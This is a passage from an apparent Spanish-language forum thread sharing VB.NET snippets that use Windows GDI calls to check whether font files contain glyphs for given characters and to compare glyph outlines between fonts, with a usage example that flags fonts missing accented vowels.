  86.    ''' Path to the font file used to check for glyph availability.
  87.    ''' </param>
  88.    '''
  89.    ''' <param name="ch">
  90.    ''' The character that represents the glyph to check in the font.
  91.    ''' </param>
  92.    '''
  93.    ''' <returns>
  94.    ''' Returns <see langword="True"/> if the glyph has an outline (visible shape data exists).
  95.    ''' <para></para>
  96.    ''' Returns <see langword="False"/> if the glyph does not have an outline,
  97.    ''' meaning the glyph is empty/unsupported by the font.
  98.    ''' </returns>
  99.    '''
  100.    ''' <exception cref="FileNotFoundException">
  101.    ''' Thrown when the font file is not found.
  102.    ''' </exception>
  103.    <DebuggerStepThrough>
  104.    Public Shared Function FontGlyphHasOutline(fontFile As String, ch As Char) As Boolean
  105.  
  106.        If Not System.IO.File.Exists(fontFile) Then
  107.            Throw New FileNotFoundException("Font file not found.", fileName:=fontFile)
  108.        End If
  109.  
  110.        Using pfc As New PrivateFontCollection()
  111.            pfc.AddFontFile(fontFile)
  112.  
  113.            Using f As New Font(pfc.Families(0), emSize:=1)
  114.                Return FontExtensions.GlyphHasOutline(f, ch)
  115.            End Using
  116.        End Using
  117.    End Function
  118.  
  119. End Class

Código
  1. Module FontExtensions
  2.  
  3.    ''' <summary>
  4.    ''' Determines whether a glyph exists in the given <see cref="System.Drawing.Font"/>
  5.    ''' for the specified character.
  6.    ''' </summary>
  7.    '''
  8.    ''' <param name="font">
  9.    ''' The <see cref="System.Drawing.Font"/> used to check for glyph availability.
  10.    ''' </param>
  11.    '''
  12.    ''' <param name="ch">
  13.    ''' The character that represents the glyph to check.
  14.    ''' </param>
  15.    '''
  16.    ''' <returns>
  17.    ''' <see langword="True"/> if a glyph exists in the font for the specified character;
  18.    ''' otherwise, <see langword="False"/>.
  19.    ''' </returns>
  20.    <Extension>
  21.    <EditorBrowsable(EditorBrowsableState.Always)>
  22.    <DebuggerStepThrough>
  23.    Public Function HasGlyph(font As Font, ch As Char) As Boolean
  24.  
  25.        Return FontExtensions.HasGlyphs(font, ch) = 1
  26.    End Function
  27.  
  28.    ''' <summary>
  29.    ''' Determines whether a glyph exists in the given <see cref="System.Drawing.Font"/>
  30.    ''' for all the characters in the speciied string.
  31.    ''' </summary>
  32.    '''
  33.    ''' <param name="font">
  34.    ''' The <see cref="System.Drawing.Font"/> used to check for glyphs availability.
  35.    ''' </param>
  36.    '''
  37.    ''' <param name="str">
  38.    ''' A <see cref="String"/> with the character(s) that represents the glyphs to check.
  39.    ''' <para></para>
  40.    ''' Each character (or surrogate pair) is checked for a existing glyph in the font.
  41.    ''' </param>
  42.    '''
  43.    ''' <returns>
  44.    ''' The count of characters from <paramref name="str"/> parameter that have a existing glyph in the font.
  45.    ''' <para></para>
  46.    ''' A count less than the length of <paramref name="str"/> indicates that the font does not have a existing glyph for one or more characters.
  47.    ''' </returns>
  48.    '''
  49.    ''' <exception cref="ArgumentNullException">
  50.    ''' Thrown when <paramref name="font"/> or <paramref name="str"/> are null.
  51.    ''' </exception>
  52.    '''
  53.    ''' <exception cref="Win32Exception">
  54.    ''' Thrown when a call to Windows API GDI32 functions (creating device context, selecting font, or retrieving glyph indices) fails.
  55.    ''' </exception>
  56.    <Extension>
  57.    <EditorBrowsable(EditorBrowsableState.Always)>
  58.    <DebuggerStepThrough>
  59.    Public Function HasGlyphs(font As Font, str As String) As UInteger
  60.  
  61.        If font Is Nothing Then
  62.            Throw New ArgumentNullException(paramName:=NameOf(font))
  63.        End If
  64.  
  65.        If String.IsNullOrEmpty(str) Then
  66.            Throw New ArgumentNullException(paramName:=NameOf(str))
  67.        End If
  68.  
  69.        Dim hdc As IntPtr
  70.        Dim hFont As IntPtr
  71.        Dim oldObj As IntPtr
  72.  
  73.        Dim win32Err As Integer
  74.  
  75.        Try
  76.            hFont = font.ToHfont()
  77.            hdc = NativeMethods.CreateCompatibleDC(IntPtr.Zero)
  78.            win32Err = Marshal.GetLastWin32Error()
  79.            If hdc = IntPtr.Zero Then
  80.                Throw New Win32Exception(win32Err)
  81.            End If
  82.  
  83.            oldObj = NativeMethods.SelectObject(hdc, hFont)
  84.            win32Err = Marshal.GetLastWin32Error()
  85.            If oldObj = IntPtr.Zero OrElse oldObj = DevCase.Win32.Common.Constants.HGDI_ERROR Then
  86.                Throw New Win32Exception(win32Err)
  87.            End If
  88.  
  89.            ' Reserve output for each text unit (can be 1 or 2 chars if it's a surrogate pair).
  90.            Dim strLen As Integer = str.Length
  91.            Dim indices As UShort() = New UShort(strLen - 1) {}
  92.            ' Get the glyph indices for the string in the given device context.
  93.            Dim converted As UInteger = NativeMethods.GetGlyphIndices(hdc, str, strLen, indices, GetGlyphIndicesFlags.MarkNonExistingGlyphs)
  94.            win32Err = Marshal.GetLastWin32Error()
  95.            If converted = DevCase.Win32.Common.Constants.GDI_ERROR Then
  96.                Throw New Win32Exception(win32Err)
  97.            End If
  98.  
  99.            ' Count glyphs that exist (index <> 0xFFFF).
  100.            ' If any glyph index is 0xFFFF, the glyph does not exist in that font.
  101.            Dim count As UInteger
  102.            For Each index As UShort In indices
  103.                If index <> &HFFFFUS Then
  104.                    count += 1UI
  105.                End If
  106.            Next
  107.            Return count
  108.  
  109.        Finally
  110.            If oldObj <> IntPtr.Zero Then
  111.                NativeMethods.DeleteObject(oldObj)
  112.            End If
  113.            If hFont <> IntPtr.Zero Then
  114.                NativeMethods.DeleteObject(hFont)
  115.            End If
  116.            If hdc <> IntPtr.Zero Then
  117.                NativeMethods.DeleteDC(hdc)
  118.            End If
  119.  
  120.        End Try
  121.    End Function
  122.  
  123.  
  124.    ''' <summary>
  125.    ''' Determines whether a glyph for the specified character in the given <see cref="System.Drawing.Font"/> has an outline.
  126.    ''' <para></para>
  127.    ''' This is useful to determine whether the glyph is empty (no character is drawn),
  128.    ''' but note that a glyph with outlines does not necessarily mean that the character is fully represented.
  129.    ''' Some fonts, for instance, only renders diacritical marks for accented vowels
  130.    ''' instead the full letter (e.g., "<b>´</b>" instead of "<b>í</b>").
  131.    ''' This function solely determines whether the glyph draws an outline, nothing more.
  132.    ''' <para></para>
  133.    ''' To determine whether a glyph exists in the given font file for the specified character, use
  134.    ''' <see cref="FontExtensions.HasGlyph"/> or <see cref="FontExtensions.HasGlyphs"/> instead.
  135.    ''' </summary>
  136.    '''
  137.    ''' <param name="font">
  138.    ''' The <see cref="System.Drawing.Font"/> used to check for glyph availability.
  139.    ''' </param>
  140.    '''
  141.    ''' <param name="ch">
  142.    ''' The character that represents the glyph to check in the font.
  143.    ''' </param>
  144.    '''
  145.    ''' <returns>
  146.    ''' Returns <see langword="True"/> if the glyph has an outline (visible shape data exists).
  147.    ''' <para></para>
  148.    ''' Returns <see langword="False"/> if the glyph does not have an outline,
  149.    ''' meaning the glyph is empty/unsupported by the font.
  150.    ''' </returns>
  151.    <Extension>
  152.    <EditorBrowsable(EditorBrowsableState.Always)>
  153.    <DebuggerStepThrough>
  154.    Public Function GlyphHasOutline(font As Font, ch As Char) As Boolean
  155.  
  156.        If font Is Nothing Then
  157.            Throw New ArgumentNullException(paramName:=NameOf(font))
  158.        End If
  159.  
  160.        Dim hdc As IntPtr
  161.        Dim hFont As IntPtr
  162.        Dim oldObj As IntPtr
  163.  
  164.        Dim win32Err As Integer
  165.  
  166.        Try
  167.            hFont = font.ToHfont()
  168.            hdc = NativeMethods.CreateCompatibleDC(IntPtr.Zero)
  169.            oldObj = NativeMethods.SelectObject(hdc, hFont)
  170.            win32Err = Marshal.GetLastWin32Error()
  171.            If oldObj = IntPtr.Zero OrElse oldObj = DevCase.Win32.Common.Constants.HGDI_ERROR Then
  172.                Throw New Win32Exception(win32Err)
  173.            End If
  174.  
  175.            Dim chCode As UInteger = CUInt(Convert.ToInt32(ch))
  176.            Dim format As GetGlyphOutlineFormat = GetGlyphOutlineFormat.Native
  177.            Dim matrix As GlyphOutlineMatrix2 = GlyphOutlineMatrix2.GetIdentityMatrix()
  178.  
  179.            Dim ptCount As UInteger = NativeMethods.GetGlyphOutline(hdc, chCode, format, Nothing, Nothing, Nothing, matrix)
  180.            win32Err = Marshal.GetLastWin32Error()
  181.            Select Case ptCount
  182.  
  183.                Case 0UI
  184.                    ' Zero curve data points were returned, meaning the glyph is empty/invisible.
  185.                    Return False
  186.  
  187.                Case DevCase.Win32.Common.Constants.GDI_ERROR
  188.                    If win32Err = Win32ErrorCode.ERROR_SUCCESS Then
  189.                        ' The function returned GDI_ERROR, but no error recorded by GetLastError, meaning the function succeeded.
  190.                        ' Tests carried out have shown that when this happens the glyph simply does not exists.
  191.                        Return False
  192.                    Else
  193.                        Throw New Win32Exception(win32Err)
  194.                    End If
  195.  
  196.                Case Else
  197.                    Return True
  198.  
  199.            End Select
  200.  
  201.        Finally
  202.            If oldObj <> IntPtr.Zero Then
  203.                NativeMethods.DeleteObject(oldObj)
  204.            End If
  205.            If hFont <> IntPtr.Zero Then
  206.                NativeMethods.DeleteObject(hFont)
  207.            End If
  208.            If hdc <> IntPtr.Zero Then
  209.                NativeMethods.DeleteDC(hdc)
  210.            End If
  211.  
  212.        End Try
  213.  
  214.        ' ===================================================
  215.        '   ALTERNATIVE METHODOLOGY USING PURE MANAGED GDI+
  216.        '
  217.        ' (results are the same than using Windows API calls)
  218.        ' ===================================================
  219.        '
  220.        '
  221.        'If font Is Nothing Then
  222.        '    Throw New ArgumentNullException(paramName:=NameOf(font))
  223.        'End If
  224.        '
  225.        'If font.Unit = GraphicsUnit.Pixel AndAlso font.Size < 8 Then
  226.        '    Dim msg As String =
  227.        '        "Font size must be equals or greater than 8 pixels when using GraphicsUnit.Pixel to avoid unreliable pixel detection. " &
  228.        '        "Suggested font size is 16 pixel size; A value of 32, 64 or bigger pixel size would produce the same results."
  229.        '    Throw New ArgumentException(msg)
  230.        '
  231.        'ElseIf font.Size < 4 Then
  232.        '    Dim msg As String =
  233.        '        "Font size must be equals or greater than 4 to avoid unreliable pixel detection. " &
  234.        '        "Suggested usage is GraphicsUnit.Pixel with a font size of 16 pixels; " &
  235.        '        "A value of 32, 64 or bigger pixel size would produce the same results."
  236.        '    Throw New ArgumentException(msg)
  237.        '
  238.        'End If
  239.        '
  240.        '' Measure the required size for the glyph.
  241.        'Dim requiredSize As Size
  242.        'Using tempBmp As New Bitmap(1, 1)
  243.        '    Using g As Graphics = Graphics.FromImage(tempBmp)
  244.        '        Dim sizeF As SizeF = g.MeasureString(ch, font)
  245.        '        ' Add a small margin to avoid clipping due to rounding.
  246.        '        requiredSize = New Size(CInt(System.Math.Ceiling(sizeF.Width)) + 4,
  247.        '                                CInt(System.Math.Ceiling(sizeF.Height)) + 4)
  248.        '    End Using
  249.        'End Using
  250.        '
  251.        '' Create a bitmap big enough to render the glyph,
  252.        '' filling the bitmap background with white color and
  253.        '' drawing the character in black.
  254.        'Using bmp As New Bitmap(requiredSize.Width, requiredSize.Height),
  255.        '      g As Graphics = Graphics.FromImage(bmp)
  256.        '    ' Using AntiAlias may help ensure that very thin glyph strokes
  257.        '    ' still produce detectable pixels, with gray edges.
  258.        '    ' Without anti-aliasing, such strokes might render too faint or disappear entirely,
  259.        '    ' causing the glyph to be misidentified as empty.
  260.        '    g.TextRenderingHint = Drawing.Text.TextRenderingHint.AntiAlias
  261.        '    g.Clear(Color.White)
  262.        '    g.DrawString(ch, font, Brushes.Black, 0, 0)
  263.        '
  264.        '    Dim rect As New Rectangle(0, 0, bmp.Width, bmp.Height)
  265.        '    Dim bmpData As BitmapData = bmp.LockBits(rect, Imaging.ImageLockMode.ReadOnly, Imaging.PixelFormat.Format32bppArgb)
  266.        '
  267.        '    Try
  268.        '        Dim ptr As IntPtr = bmpData.Scan0
  269.        '        Dim bytes As Integer = System.Math.Abs(bmpData.Stride) * bmp.Height
  270.        '        Dim pixelValues(bytes - 1) As Byte
  271.        '        Marshal.Copy(ptr, pixelValues, 0, bytes)
  272.        '
  273.        '        ' Iterate through each pixel.
  274.        '        ' PixelFormat.Format32bppArgb stores pixels as [Blue][Green][Red][Alpha]
  275.        '        ' i=Blue, i+1=Green, i+2=Red, i+3=Alpha
  276.        '        For i As Integer = 0 To pixelValues.Length - 1 Step 4
  277.        '            Dim red As Byte = pixelValues(i + 2)
  278.        '
  279.        '            ' Check if the pixel is darker than nearly-white (threshold 250)
  280.        '            ' If so, we found a visible pixel, meaning the glyph is drawn.
  281.        '            If red < 250 Then
  282.        '                Return True
  283.        '            End If
  284.        '        Next
  285.        '    Finally
  286.        '        bmp.UnlockBits(bmpData)
  287.        '
  288.        '    End Try
  289.        'End Using
  290.        '
  291.        '' No visible pixels found, meaning the glyph is empty/unsupported by the font.
  292.        'Return False
  293.  
  294.    End Function
  295.  
  296. End Module

Modo de empleo

El siguiente ejemplo verifica en los archivos de fuente .ttf de un directorio específico si la tipografía incluye los glifos correspondientes a los caracteres á, é, í, ó y ú. En caso de que falte algún glifo, se imprime un mensaje en consola indicando los glifos ausentes, y finalmente envía el archivo de fuente a la papelera de reciclaje (hay que descomentar las lineas marcadas).

Código
  1. Dim fontFiles As IEnumerable(Of String) = Directory.EnumerateFiles("C:\Fonts", "*.ttf", SearchOption.TopDirectoryOnly)
  2. Dim fontsToDelete As New HashSet(Of String)()
  3. Dim chars As Char() = "áéíóú".ToCharArray()
  4.  
  5. For Each fontFile As String In fontFiles
  6.    Dim missingChars As New HashSet(Of Char)()
  7.  
  8.    For Each ch As Char In chars
  9.        If Not UtilFonts.FontHasGlyph(fontFile, ch) OrElse
  10.           Not UtilFonts.FontGlyphHasOutline(fontFile, ch) Then
  11.            missingChars.Add(ch)
  12.        End If
  13.    Next
  14.  
  15.    If missingChars.Count > 0 Then
  16.        Console.WriteLine($"[{Path.GetFileName(fontFile)}] Missing glyphs: {String.Join(", ", missingChars)}")
  17.        fontsToDelete.Add(fontFile)
  18.    End If
  19. Next
  20.  
  21. For Each fontFile As String In fontsToDelete
  22.    ' Console.WriteLine($"Deleting font file: {fontFile}")
  23.    ' Microsoft.VisualBasic.FileIO.FileSystem.DeleteFile(fontFile, FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.SendToRecycleBin)
  24. Next

Por último, quiero comentar que he experimentado estas funciones de forma muy minuciosa, primero con muestras pequeñas de 2 o 3 fuentes... varias veces por cada cambio significativo realizado en el código, y después he probado la versión final con aprox. 14.000 archivos de fuentes de texto, y los resultados han sido muy satisfactorios detectando varios miles de fuentes a los que le faltan los glifos especificados, y, aunque no he podido revisar todos esos miles de fuentes una a una, no he encontrado ningún falso positivo entre varios cientos de fuentes que sí he revisado manualmente.

Eso es todo. 👋
« Última modificación: 3 Septiembre 2025, 01:36 am por Eleкtro » En línea



Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.959



Ver Perfil
Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
« Respuesta #603 en: 3 Septiembre 2025, 01:34 am »

Métodos universales para trabajar (los últimos) aspectos básicos con fuentes de texto (.ttf y .otf)...

Funciones 'UtilFonts.GetFontGlyphOutlineData' y 'FontExtensions.GetGlyphOutlineData'

    Sirven para obtener los datos crudos de contorno (outline) de un glifo para un carácter específico en una fuente.

    Devuelven un array de bytes que representa la forma vectorial del glifo en el formato solicitado (Native o Bezier).

    Estos datos se pueden usar como base para comparaciones de glifos.

Funciones 'UtilFonts.FontGlyphOutlinesAreEqual' y 'FontExtensions.GlyphOutlinesAreEqual'

    Sirven para comparar si dos fuentes producen los mismos datos de contorno (outline) de un glifo para un carácter específico.

Funciones 'UtilFonts.GetFontGlyphOutlineSimilarity' y 'FontExtensions.GetGlyphOutlineSimilarity'

    Sirven para calcular un índice de similitud entre los contornos de un glifo para un carácter específico en dos fuentes distintas.

    Se puede usar cuando se quiere medir cuán parecidos son los glifos entre dos fuentes, en lugar de solo saber si son exactamente iguales.



El código fuente

⚠️ Importante: Para poder utilizar este código se requieren algunas definiciones de la API de Windows que he compartido en el post anterior a este. No lo comparto aquí de nuevo para evitar repetir código y evitar que este post quede demasiado grande y tedioso de leer. 🙏

Código
  1. Public Class UtilFonts
  2.  
  3.    ''' <summary>
  4.    ''' Prevents a default instance of the <see cref="UtilFonts"/> class from being created.
  5.    ''' </summary>
  6.    Private Sub New()
  7.    End Sub
  8.  
  9.    ''' <summary>
  10.    ''' Retrieves the raw outline data for a given glyph from the specified font file.
  11.    ''' <para></para>
  12.    ''' This function calls <see cref="DevCase.Win32.NativeMethods.GetGlyphOutline"/> in background
  13.    ''' to retrieve outline data with the requested <paramref name="format"/>.
  14.    ''' </summary>
  15.    '''
  16.    ''' <param name="fontFile">
  17.    ''' Path to the font file from which the glyph will be obtained.
  18.    ''' </param>
  19.    '''
  20.    ''' <param name="ch">
  21.    ''' The character whose glyph outline will be requested.
  22.    ''' </param>
  23.    '''
  24.    ''' <param name="format">
  25.    ''' The format in which the glyph outline will be retrieved.
  26.    ''' <para></para>
  27.    ''' This value only can be <see cref="GetGlyphOutlineFormat.Native"/> or <see cref="GetGlyphOutlineFormat.Bezier"/>.
  28.    ''' <para></para>
  29.    ''' Note: callers must interpret the returned byte array based on the selected format.
  30.    ''' </param>
  31.    '''
  32.    ''' <param name="matrix">
  33.    ''' An optional <see cref="GlyphOutlineMatrix2"/> used to transform the glyph outline.
  34.    ''' <para></para>
  35.    ''' If no value is provided or default structure is passed, an identity matrix
  36.    ''' will be used (see: <see cref="GlyphOutlineMatrix2.GetIdentityMatrix()"/>),
  37.    ''' where the transfromed graphical object is identical to the source object.
  38.    ''' </param>
  39.    '''
  40.    ''' <returns>
  41.    ''' A <see cref="Byte"/> array containing the raw glyph outline data with the requested <paramref name="format"/>.
  42.    ''' <para></para>
  43.    ''' Returns <see langword="Nothing"/> if the glyph is empty in the specified font.
  44.    ''' </returns>
  45.    '''
  46.    ''' <exception cref="FileNotFoundException">
  47.    ''' Thrown when the font file is not found.
  48.    ''' </exception>
  49.    <DebuggerStepThrough>
  50.    Public Shared Function GetFontGlyphOutlineData(fontFile As String, ch As Char, format As GetGlyphOutlineFormat,
  51.                                                   Optional matrix As GlyphOutlineMatrix2 = Nothing) As Byte()
  52.  
  53.        If Not File.Exists(fontFile) Then
  54.            Throw New FileNotFoundException("Font file not found.", fileName:=fontFile)
  55.        End If
  56.  
  57.        Using pfc As New PrivateFontCollection()
  58.            pfc.AddFontFile(fontFile)
  59.  
  60.            Using f As New Font(pfc.Families(0), emSize:=1)
  61.                Return FontExtensions.GetGlyphOutlineData(f, ch, format, matrix)
  62.            End Using
  63.        End Using
  64.    End Function
  65.  
  66.    ''' <summary>
  67.    ''' Determines whether the glyph outline for the specified character is identical in two font files.
  68.    ''' </summary>
  69.    '''
  70.    ''' <param name="firstFontFile">
  71.    ''' Path to the first font file to compare.
  72.    ''' </param>
  73.    '''
  74.    ''' <param name="secondFontFile">
  75.    ''' Path to the second font file to compare.
  76.    ''' </param>
  77.    '''
  78.    ''' <param name="ch">
  79.    ''' The character whose glyph outline will be compared between the two fonts.
  80.    ''' </param>
  81.    '''
  82.    ''' <returns>
  83.    ''' <see langword="True"/> if both fonts produce identical outlines for the specified glyph.
  84.    ''' <para></para>
  85.    ''' <see langword="False"/> if the outlines differ or if one of the fonts has an empty glyph.
  86.    ''' If the glyph outlines are empty in both fonts, returns <see langword="True"/>.
  87.    ''' </returns>
  88.    '''
  89.    ''' <exception cref="FileNotFoundException">
  90.    ''' Thrown when one of the font files is not found.
  91.    ''' </exception>
  92.    <DebuggerStepThrough>
  93.    Public Shared Function FontGlyphOutlinesAreEqual(firstFontFile As String, secondFontFile As String, ch As Char) As Boolean
  94.  
  95.        If Not File.Exists(firstFontFile) Then
  96.            Throw New FileNotFoundException("First font file not found.", fileName:=firstFontFile)
  97.        End If
  98.  
  99.        If Not File.Exists(secondFontFile) Then
  100.            Throw New FileNotFoundException("Second ont file not found.", fileName:=secondFontFile)
  101.        End If
  102.  
  103.        Using firstPfc As New PrivateFontCollection(),
  104.              secondPfc As New PrivateFontCollection()
  105.  
  106.            firstPfc.AddFontFile(firstFontFile)
  107.            secondPfc.AddFontFile(secondFontFile)
  108.  
  109.            Using firstFont As New Font(firstPfc.Families(0), emSize:=1),
  110.                  secondFont As New Font(secondPfc.Families(0), emSize:=1)
  111.  
  112.                Return FontExtensions.GlyphOutlineIsEqualTo(firstFont, secondFont, ch)
  113.            End Using
  114.        End Using
  115.    End Function
  116.  
  117.    ''' <summary>
  118.    ''' Computes a similarity score between the glyph outline for the specified character in two font files.
  119.    ''' </summary>
  120.    '''
  121.    ''' <param name="firstFontFile">
  122.    ''' Path to the first font file to compare.
  123.    ''' </param>
  124.    '''
  125.    ''' <param name="secondFontFile">
  126.    ''' Path to the second font file to compare.
  127.    ''' </param>
  128.    '''
  129.    ''' <param name="ch">
  130.    ''' The character whose glyph outline will be compared between the two fonts.
  131.    ''' </param>
  132.    '''
  133.    ''' <returns>
  134.    ''' A <see cref="Single"/> value between 0.0 and 1.0 representing the similarity
  135.    ''' (the number of matching bytes in the outline data) of the glyph outlines.
  136.    ''' <para></para>
  137.    ''' If one of the fonts has an empty glyph, returns 0. If the glyph outlines are empty in both fonts, returns 1.
  138.    ''' </returns>
  139.    '''
  140.    ''' <exception cref="FileNotFoundException">
  141.    ''' Thrown when one of the font files is not found.
  142.    ''' </exception>
  143.    <DebuggerStepThrough>
  144.    Public Shared Function GetFontGlyphOutlineSimilarity(firstFontFile As String, secondFontFile As String, ch As Char) As Single
  145.  
  146.        If Not File.Exists(firstFontFile) Then
  147.            Throw New FileNotFoundException("First font file not found.", fileName:=firstFontFile)
  148.        End If
  149.  
  150.        If Not File.Exists(secondFontFile) Then
  151.            Throw New FileNotFoundException("Second ont file not found.", fileName:=secondFontFile)
  152.        End If
  153.  
  154.        Using firstPfc As New PrivateFontCollection(),
  155.              secondPfc As New PrivateFontCollection()
  156.  
  157.            firstPfc.AddFontFile(firstFontFile)
  158.            secondPfc.AddFontFile(secondFontFile)
  159.  
  160.            Using firstFont As New Font(firstPfc.Families(0), emSize:=1),
  161.                  secondFont As New Font(secondPfc.Families(0), emSize:=1)
  162.  
  163.                Return FontExtensions.GetGlyphOutlineSimilarity(firstFont, secondFont, ch)
  164.            End Using
  165.        End Using
  166.    End Function
  167.  
  168. End Class

y:

Código
  1. Module FontExtensions
  2.  
  3.    ''' <summary>
  4.    ''' Retrieves the raw outline data for a given glyph from the specified <see cref="System.Drawing.Font"/>.
  5.    ''' <para></para>
  6.    ''' This function calls <see cref="DevCase.Win32.NativeMethods.GetGlyphOutline"/> in background
  7.    ''' to retrieve outline data with the requested <paramref name="format"/>.
  8.    ''' </summary>
  9.    '''
  10.    ''' <param name="font">
  11.    ''' The <see cref="System.Drawing.Font"/> object from which the glyph will be obtained.
  12.    ''' </param>
  13.    '''
  14.    ''' <param name="ch">
  15.    ''' The character whose glyph outline will be requested.
  16.    ''' </param>
  17.    '''
  18.    ''' <param name="format">
  19.    ''' The format in which the glyph outline will be retrieved.
  20.    ''' <para></para>
  21.    ''' This value only can be <see cref="GetGlyphOutlineFormat.Native"/> or <see cref="GetGlyphOutlineFormat.Bezier"/>.
  22.    ''' <para></para>
  23.    ''' Note: callers must interpret the returned byte array based on the selected format.
  24.    ''' </param>
  25.    '''
  26.    ''' <param name="matrix">
  27.    ''' An optional <see cref="GlyphOutlineMatrix2"/> used to transform the glyph outline.
  28.    ''' <para></para>
  29.    ''' If no value is provided or default structure is passed, an identity matrix
  30.    ''' will be used (see: <see cref="GlyphOutlineMatrix2.GetIdentityMatrix()"/>),
  31.    ''' where the transfromed graphical object is identical to the source object.
  32.    ''' </param>
  33.    '''
  34.    ''' <returns>
  35.    ''' A <see cref="Byte"/> array containing the raw glyph outline data with the requested <paramref name="format"/>.
  36.    ''' <para></para>
  37.    ''' Returns <see langword="Nothing"/> if the glyph is empty in the specified <paramref name="font"/>.
  38.    ''' </returns>
  39.    '''
  40.    ''' <exception cref="ArgumentNullException">
  41.    ''' Thrown when <paramref name="font"/> is <see langword="Nothing"/>.
  42.    ''' </exception>
  43.    '''
  44.    ''' <exception cref="ArgumentException">
  45.    ''' Thrown when the specified <paramref name="format"/> is invalid to request glyph outline data.
  46.    ''' </exception>
  47.    '''
  48.    ''' <exception cref="System.ComponentModel.Win32Exception">
  49.    ''' Thrown when a Win32 error occurs during font or device context operations.
  50.    ''' </exception>
  51.    <Extension>
  52.    <EditorBrowsable(EditorBrowsableState.Always)>
  53.    <DebuggerStepThrough>
  54.    Public Function GetGlyphOutlineData(font As Font, ch As Char, format As GetGlyphOutlineFormat,
  55.                                        Optional matrix As GlyphOutlineMatrix2 = Nothing) As Byte()
  56.  
  57.        If font Is Nothing Then
  58.            Throw New ArgumentNullException(paramName:=NameOf(font))
  59.        End If
  60.  
  61.        If format <> GetGlyphOutlineFormat.Native AndAlso
  62.           format <> GetGlyphOutlineFormat.Bezier Then
  63.  
  64.            Dim msg As String = $"The specified format '{format}' does not produce glyph outline data. " & Environment.NewLine &
  65.                                $"Use '{NameOf(GetGlyphOutlineFormat.Native)}' or '{NameOf(GetGlyphOutlineFormat.Bezier)}' " &
  66.                                "formats to request glyph outline data."
  67.  
  68.            Throw New ArgumentException(msg, paramName:=NameOf(format))
  69.        End If
  70.  
  71.        Dim hdc As IntPtr
  72.        Dim hFont As IntPtr
  73.        Dim oldObj As IntPtr
  74.  
  75.        Dim win32Err As Integer
  76.  
  77.        Try
  78.            hFont = font.ToHfont()
  79.            hdc = NativeMethods.CreateCompatibleDC(IntPtr.Zero)
  80.            oldObj = NativeMethods.SelectObject(hdc, hFont)
  81.            win32Err = Marshal.GetLastWin32Error()
  82.            If oldObj = IntPtr.Zero OrElse oldObj = DevCase.Win32.Common.Constants.HGDI_ERROR Then
  83.                Throw New Win32Exception(win32Err)
  84.            End If
  85.  
  86.            Dim chCode As UInteger = CUInt(Convert.ToInt32(ch))
  87.            If matrix.Equals(New GlyphOutlineMatrix2()) Then
  88.                matrix = GlyphOutlineMatrix2.GetIdentityMatrix()
  89.            End If
  90.  
  91.            Dim needed As UInteger = NativeMethods.GetGlyphOutline(hdc, chCode, format, Nothing, Nothing, Nothing, matrix)
  92.  
  93.            win32Err = Marshal.GetLastWin32Error()
  94.  
  95.            Select Case needed
  96.                Case 0UI
  97.                    ' Zero curve data points were returned, meaning the glyph is empty.
  98.                    Return Nothing
  99.  
  100.                Case DevCase.Win32.Common.Constants.GDI_ERROR
  101.                    If win32Err = Win32ErrorCode.ERROR_SUCCESS Then
  102.                        ' The function returned GDI_ERROR, but no error recorded by GetLastError, meaning the function succeeded.
  103.                        ' Tests carried out have shown that when this happens the glyph simply does not exists.
  104.                        Return Nothing
  105.                    Else
  106.                        Throw New Win32Exception(win32Err)
  107.                    End If
  108.  
  109.                Case Else
  110.                    Dim bufferPtr As IntPtr = Marshal.AllocHGlobal(New IntPtr(needed))
  111.                    Try
  112.                        Dim got As UInteger = NativeMethods.GetGlyphOutline(hdc, chCode, format, Nothing, needed, bufferPtr, matrix)
  113.                        win32Err = Marshal.GetLastWin32Error()
  114.                        If got = DevCase.Win32.Common.Constants.GDI_ERROR AndAlso
  115.                           win32Err <> Win32ErrorCode.ERROR_SUCCESS Then
  116.                            Throw New Win32Exception(win32Err)
  117.                        End If
  118.  
  119.                        Dim result(CInt(got) - 1) As Byte
  120.                        Marshal.Copy(bufferPtr, result, 0, CInt(got))
  121.                        Return result
  122.                    Finally
  123.                        Marshal.FreeHGlobal(bufferPtr)
  124.                    End Try
  125.  
  126.            End Select
  127.  
  128.        Finally
  129.            If hFont <> IntPtr.Zero Then
  130.                NativeMethods.DeleteObject(hFont)
  131.            End If
  132.            If oldObj <> IntPtr.Zero Then
  133.                NativeMethods.DeleteObject(oldObj)
  134.            End If
  135.            If hdc <> IntPtr.Zero Then
  136.                NativeMethods.DeleteDC(hdc)
  137.            End If
  138.  
  139.        End Try
  140.  
  141.    End Function
  142.  
  143.    ''' <summary>
  144.    ''' Determines whether the glyph outline for the specified character in the source <see cref="System.Drawing.Font"/>
  145.    ''' is identical to the glyph outline of the same character in another <see cref="System.Drawing.Font"/>.
  146.    ''' </summary>
  147.    '''
  148.    ''' <param name="firstFont">
  149.    ''' The first <see cref="System.Drawing.Font"/> to compare.
  150.    ''' </param>
  151.    '''
  152.    ''' <param name="secondFont">
  153.    ''' The second <see cref="System.Drawing.Font"/> to compare.
  154.    ''' </param>
  155.    '''
  156.    ''' <param name="ch">
  157.    ''' The character whose glyph outline will be compared between the two fonts.
  158.    ''' </param>
  159.    '''
  160.    ''' <returns>
  161.    ''' <see langword="True"/> if both fonts produce identical outlines for the specified glyph.
  162.    ''' <para></para>
  163.    ''' <see langword="False"/> if the outlines differ or if one of the fonts has an empty glyph.
  164.    ''' If the glyph outlines are empty in both fonts, returns <see langword="True"/>.
  165.    ''' </returns>
  166.    <Extension>
  167.    <EditorBrowsable(EditorBrowsableState.Always)>
  168.    <DebuggerStepThrough>
  169.    Public Function GlyphOutlinesAreEqual(firstFont As Font, secondFont As Font, ch As Char) As Boolean
  170.  
  171.        Dim firstBytes As Byte() = FontExtensions.GetGlyphOutlineData(firstFont, ch, GetGlyphOutlineFormat.Native)
  172.        Dim secondBytes As Byte() = FontExtensions.GetGlyphOutlineData(secondFont, ch, GetGlyphOutlineFormat.Native)
  173.  
  174.        Return (firstBytes Is Nothing AndAlso secondBytes Is Nothing) OrElse
  175.               (
  176.                 (firstBytes Is Nothing = (secondBytes Is Nothing)) AndAlso
  177.                  firstBytes.SequenceEqual(secondBytes)
  178.               )
  179.    End Function
  180.  
  181.    ''' <summary>
  182.    ''' Computes a similarity score between the glyph outline for the
  183.    ''' specified character in the source <see cref="System.Drawing.Font"/>,
  184.    ''' and the the glyph outline of the same character in another <see cref="System.Drawing.Font"/>.
  185.    ''' </summary>
  186.    '''
  187.    ''' <param name="firstFont">
